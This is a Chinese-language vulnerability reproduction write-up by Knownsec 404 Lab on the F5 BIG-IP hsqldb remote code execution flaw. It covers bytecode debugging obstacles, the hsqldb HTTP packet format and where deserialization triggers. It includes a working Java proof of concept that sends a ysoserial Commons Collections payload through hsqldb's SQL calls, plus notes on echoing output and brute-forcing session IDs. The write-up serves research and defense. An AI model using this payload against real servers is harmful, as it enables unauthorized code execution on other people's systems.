作者:Longofo@知道創宇404實驗室
時間:2020年7月10日
English Version: http://www.bjnorthway.com/1272/

F5 BIG-IP最近發生了一次比較嚴重的RCE漏洞,其中主要公開出來的入口就是tmsh與hsqldb方式,tmsh的利用與分析分析比較多了,如果復現過tmsh的利用,就應該知道這個地方利用有些雞肋,后面不對tmsh進行分析,主要看下hsqldb的利用。hsqldb的利用poc已經公開,但是java hsqldb的https導致一直無法復現,嘗試了各種方式也沒辦法了,只好換其他思路,下面記錄下復現與踩坑的過程。

利用源碼搭建一個hsqldb http servlet

如果調試過hsqldb,就應該知道hsqldb.jar的代碼是無法下斷點調試的,這是因為hsqldb中類的linenumber table信息沒有了,linenumber table只是用于調式用的,對于代碼的正常運行沒有任何影響。看下正常編譯的類與hqldb類的lineumber table區別:

使用javap -verbose hsqlServlet.class命令看下hsqldb中hsqlServlet.class類的詳細信息:

Classfile /C:/Users/dell/Desktop/hsqlServlet.class
  Last modified 2018-11-14; size 128 bytes
  MD5 checksum 578c775f3dfccbf4e1e756a582e9f05c
public class hsqlServlet extends org.hsqldb.Servlet
  minor version: 0
  major version: 51
  flags: ACC_PUBLIC, ACC_SUPER
Constant pool:
   #1 = Methodref          #3.#7          // org/hsqldb/Servlet."<init>":()V
   #2 = Class              #8             // hsqlServlet
   #3 = Class              #9             // org/hsqldb/Servlet
   #4 = Utf8               <init>
   #5 = Utf8               ()V
   #6 = Utf8               Code
   #7 = NameAndType        #4:#5          // "<init>":()V
   #8 = Utf8               hsqlServlet
   #9 = Utf8               org/hsqldb/Servlet
{
  public hsqlServlet();
    descriptor: ()V
    flags: ACC_PUBLIC
    Code:
      stack=1, locals=1, args_size=1
         0: aload_0
         1: invokespecial #1                  // Method org/hsqldb/Servlet."<init>":()V
         4: return
}

使用javap -verbose Test.class看下自己編譯的類信息:

Classfile /C:/Users/dell/Desktop/Test.class
  Last modified 2020-7-13; size 586 bytes
  MD5 checksum eea80d1f399295a29f02f30a3764ff25
  Compiled from "Test.java"
public class Test
  minor version: 0
  major version: 51
  flags: ACC_PUBLIC, ACC_SUPER
Constant pool:
   #1 = Methodref          #7.#22         // java/lang/Object."<init>":()V
   #2 = Fieldref           #23.#24        // java/lang/System.out:Ljava/io/PrintStream;
   #3 = String             #25            // aaa
   #4 = Methodref          #26.#27        // java/io/PrintStream.println:(Ljava/lang/String;)V
   #5 = String             #19            // test
   #6 = Class              #28            // Test
   #7 = Class              #29            // java/lang/Object
   #8 = Utf8               <init>
   #9 = Utf8               ()V
  #10 = Utf8               Code
  #11 = Utf8               LineNumberTable
  #12 = Utf8               LocalVariableTable
  #13 = Utf8               this
  #14 = Utf8               LTest;
  #15 = Utf8               main
  #16 = Utf8               ([Ljava/lang/String;)V
  #17 = Utf8               args
  #18 = Utf8               [Ljava/lang/String;
  #19 = Utf8               test
  #20 = Utf8               SourceFile
  #21 = Utf8               Test.java
  #22 = NameAndType        #8:#9          // "<init>":()V
  #23 = Class              #30            // java/lang/System
  #24 = NameAndType        #31:#32        // out:Ljava/io/PrintStream;
  #25 = Utf8               aaa
  #26 = Class              #33            // java/io/PrintStream
  #27 = NameAndType        #34:#35        // println:(Ljava/lang/String;)V
  #28 = Utf8               Test
  #29 = Utf8               java/lang/Object
  #30 = Utf8               java/lang/System
  #31 = Utf8               out
  #32 = Utf8               Ljava/io/PrintStream;
  #33 = Utf8               java/io/PrintStream
  #34 = Utf8               println
  #35 = Utf8               (Ljava/lang/String;)V
{
  public Test();
    descriptor: ()V
    flags: ACC_PUBLIC
    Code:
      stack=1, locals=1, args_size=1
         0: aload_0
         1: invokespecial #1                  // Method java/lang/Object."<init>":()V
         4: return
      LineNumberTable:
        line 1: 0
      LocalVariableTable:
        Start  Length  Slot  Name   Signature
            0       5     0  this   LTest;

  public static void main(java.lang.String[]);
    descriptor: ([Ljava/lang/String;)V
    flags: ACC_PUBLIC, ACC_STATIC
    Code:
      stack=2, locals=1, args_size=1
         0: getstatic     #2                  // Field java/lang/System.out:Ljava/io/PrintStream;
         3: ldc           #3                  // String aaa
         5: invokevirtual #4                  // Method java/io/PrintStream.println:(Ljava/lang/String;)V
         8: return
      LineNumberTable:
        line 3: 0
        line 4: 8
      LocalVariableTable:
        Start  Length  Slot  Name   Signature
            0       9     0  args   [Ljava/lang/String;

  public void test();
    descriptor: ()V
    flags: ACC_PUBLIC
    Code:
      stack=2, locals=1, args_size=1
         0: getstatic     #2                  // Field java/lang/System.out:Ljava/io/PrintStream;
         3: ldc           #5                  // String test
         5: invokevirtual #4                  // Method java/io/PrintStream.println:(Ljava/lang/String;)V
         8: return
      LineNumberTable:
        line 7: 0
        line 8: 8
      LocalVariableTable:
        Start  Length  Slot  Name   Signature
            0       9     0  this   LTest;
}
SourceFile: "Test.java"

可以看到自己編譯的類中,每個method中都有一個 LineNumberTable,這個信息就是用于調試的信息,但是hsqldb中沒有這個信息,所以是無法調試下斷點的,hsqldb應該在編譯時添加了某些參數或者使用了其他手段來去除這些信息。

沒辦法調試是一件很難受的事情,我現在想到的有兩種:

  1. 反編譯hsqldb的代碼,自己再重新編譯,這樣就有linenumber信息了,但是反編譯再重新編譯可能會遇到一些錯誤問題,這部分得自己手動把代碼修改正確,這樣確實是可行的,在后面f5的hsqldb分析中可以看到這種方式

  2. 代碼開源,直接用源碼跑

hsqldb的代碼正好是開源的,那么這里就直接用源碼來開啟一個servlet吧。

環境

  • hsqldb source代碼是1.8的,現在新版已經2.5.x了,為了和f5中的hsqldb吻合,還是用1.8的代碼吧
  • JDK7u21,F5 BIG-IP 14版本使用的JDK7,所以這里盡量和它吻合避免各種問題

雖然開源了,但是拖到idea依然還有些問題,我修改了一些代碼,讓他正常跑起來了,修改好的代碼放到github上了,最后項目結構如下:

使用http方式利用hsqldb漏洞(ysoserial cc6,很多其他鏈也行):

public static void testLocal() throws IOException, ClassNotFoundException, SQLException {
        String url = "http://localhost:8080";
        String payload = Hex.encodeHexString(Files.readAllBytes(Paths.get("calc.ser")));

        System.out.println(payload);

        String dburl = "jdbc:hsqldb:" + url + "/hsqldb_war_exploded/hsqldb/";
        Class.forName("org.hsqldb.jdbcDriver");

        Connection connection = DriverManager.getConnection(dburl, "sa", "");
        Statement statement = connection.createStatement();
        statement.execute("call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')");
        statement.execute("call \"org.hsqldb.util.ScriptTool.main\"('" + payload + "');");
    }

利用requests發包模擬hsqldb RCE

java hsqldb https問題無法解決,那就用requests來發https包就可以了,先模擬http的包。

抓取上面利用java代碼發送的payload包,一共發送了三個,第一個是連接包,連接hsqldb數據庫的,第二、三包是執行語句的包:

根據代碼看下第一個數據包返回的具體信息,主要讀取與寫入的信息都是由Result這個類處理的,一共20個字節:

  • 1~4:總長度00000014,共20字節
  • 5~8:mode,connection為ResultConstants.UPDATECOUNT,為1,00000001
  • 9~12:databaseID,如果直接像上面這樣默認配置,databaseID在服務端不會賦值,由jdk初始化為0,00000000
  • 13~16:sessionID,這個值是DatabaseManager.newSession分配的值,每次連接都是一個新的值,本次為00000003
  • 17~20:connection時,為updateCount,注釋上面寫的 max rows (out) or update count (in),如果像上面這樣默認配置,updateCount在服務端不會賦值,由jdk初始化為0,00000000

連接信息分析完了,接下來的包肯定會利用到第一次返回包的信息,把他附加到后面發送包中,這里只分析下第二個發送包,第三個包和第二個是一樣的,都是執行語句的包:

  • 1~4:總長度00000082,這里為130
  • 5~8:mode,這里為ResultConstants.SQLEXECDIRECT,0001000b
  • 9~12:databaseID,為上面的00000000
  • 13~16:sessionID,為上面的00000003
  • 17~20:updateCount,為上面的00000000
  • 21~25:statementID,這是客戶端發送的,其實無關緊要,本次為00000000
  • 26~30:執行語句的長度
  • 31~:后面都是執行語句了

可以看到上面這個處理過程很簡單,通過這個分析,很容易用requests發包了。對于https來說,只要設置verify=False就行了。

反序列化觸發位置

這里反序列化觸發位置在:

其實并不是org.hsqldb.util.ScriptTool.main這個地方導致的,而是hsqldb解析器語法解析中途導致的反序列化。將ScriptTool隨便換一個都可以,例如org.hsqldb.sample.FindFile.main

F5 BIG-IP hsqldb調試

如果還想調試下F5 BIG-IP hsqldb,也是可以的,F5 BIG-IP里面的hsqldb自己加了些代碼,反編譯他的代碼,然后修改反編譯出來的代碼錯誤,再重新打包放進去,就可以調試了。

F5 BIG-IP hsqldb回顯

  • 既然能反序列化了,那就可以結合Template相關的利用鏈寫到response
  • 利用命令執行找socket的fd文件,寫到socket
  • 這次本來就有一個fileRead.jsp,命令執行完寫到這里就可以了

hsqldb的連接安全隱患

從數據包可以看到,hsqldb第一次返回信息并不多,在后面附加用到的信息也就databaseID,sessionID,updateCount,且都只為4字節(32位),但是總有數字很小的連接排在前面,所以可以通過爆破出可用的databaseID、sessionID、updateCount。不過對于本次的F5 BIG-IP,直接用上面默認的就行了,無需爆破。

總結

雖然寫得不多,寫完了看起來還挺容易,不過過程其實還是很艱辛的,一開始并不是根據代碼看包的,只是發了幾個包對比然后就寫了個腳本,結果跑不了F5 BIG-IP hsqldb,后面還是調試了F5 hsqldb代碼,很多問題需要解決。同時還看到了hsqldb其實是存在一定安全隱患的,如果我們直接爆破databaseID,sessionID,updateCount,也很容易爆破出可用的databaseID,sessionID,updateCount。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1271/